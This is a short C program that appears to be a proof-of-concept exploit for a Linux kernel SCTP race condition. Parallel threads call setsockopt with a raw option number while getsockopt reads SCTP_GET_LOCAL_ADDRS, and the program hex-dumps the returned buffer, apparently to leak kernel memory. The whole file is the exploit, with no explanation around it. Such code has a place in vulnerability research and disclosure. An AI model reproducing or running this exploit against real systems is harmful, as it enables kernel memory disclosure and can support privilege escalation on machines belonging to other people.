#include <stdio.h>
#include <pthread.h>
#include <sys/types.h>          /* See NOTES */
#include <sys/socket.h>
#include <unistd.h>

#define DUMP_PARALLEL 1
#define DUMP_PRINT_BUF_ADDR 1
#define DUMP_PRINT_STRING 1
#define DUMP_PRINT_HEX 1
#include "dump_buf.h"

void *setsockopt_fn(void *arg) {
  int sock = (int)arg;
  struct sockaddr addr;
  memset(&addr, 0, sizeof(addr));
  addr.sa_family = 2;
  addr.sa_data[2] = 0xac;
  addr.sa_data[3] = 0x14;
  addr.sa_data[4] = 0x14;
  setsockopt(sock, 0x84, 0x6e, &addr, 0x10);
}

#define BUFLEN (0x2c2)
void *getsockopt_fn(void *arg) {
  int sock = (int)arg;
  char buf[BUFLEN];
  memset(buf, 0, BUFLEN);
  int socklen = BUFLEN;
  getsockopt(sock, 0x84, /*SCTP_GET_LOCAL_ADDRS*/0x6d, buf, &socklen);
  dump_buf(&(buf[8]), 32);
}

void do_work(int sock) {
  pthread_t t1, t2;
  for (int i = 0; i < 10; i++) {
    pthread_create(&t1, NULL, getsockopt_fn, (void*)sock);
    pthread_create(&t2, NULL, setsockopt_fn, (void*)sock);
    usleep(100);
  }
}

int main(int argc, char *argv[]) {
  int res;
  int pid = fork();
  if (pid == 0) {
    int sock = socket(0x2, 0x1, 0x84);
    do_work(sock);
  }
  sleep(10);
  return 0;
}